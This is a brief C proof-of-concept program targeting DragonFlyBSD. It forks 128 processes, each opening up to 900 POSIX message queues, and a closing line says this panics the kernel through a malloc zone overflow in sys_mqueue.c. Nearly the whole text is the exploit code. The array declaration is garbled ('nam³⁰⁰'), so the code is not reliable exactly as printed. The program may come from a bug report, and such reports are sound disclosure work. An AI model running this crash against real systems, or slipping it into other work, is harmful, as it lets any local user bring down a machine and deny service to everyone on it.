DragonFlyBSD

#include <sys/types.h>
#include <mqueue.h>

int main() {
int i;
static struct mq_attr attr;
attr.mq_maxmsg=31;
attr.mq_msgsize=128;
char nam³⁰⁰ = {};
int pidr;

for (i = 0; i < 128; i++) {
pidr = fork();
if(pidr == 0)
goto co;
}

co:
for (i = 0; i < 900; i++) {
sprintf(nam, "%d-%228d", i,getpid());
mq_unlink(nam);
if (mq_open(nam, O_RDWR|O_CREAT|O_EXCL, 0777, &attr) == -1)
break;
}

pause();
}

-------------------
The above program will hit a panic on a malloc zone overflow in sys_mqueue.c.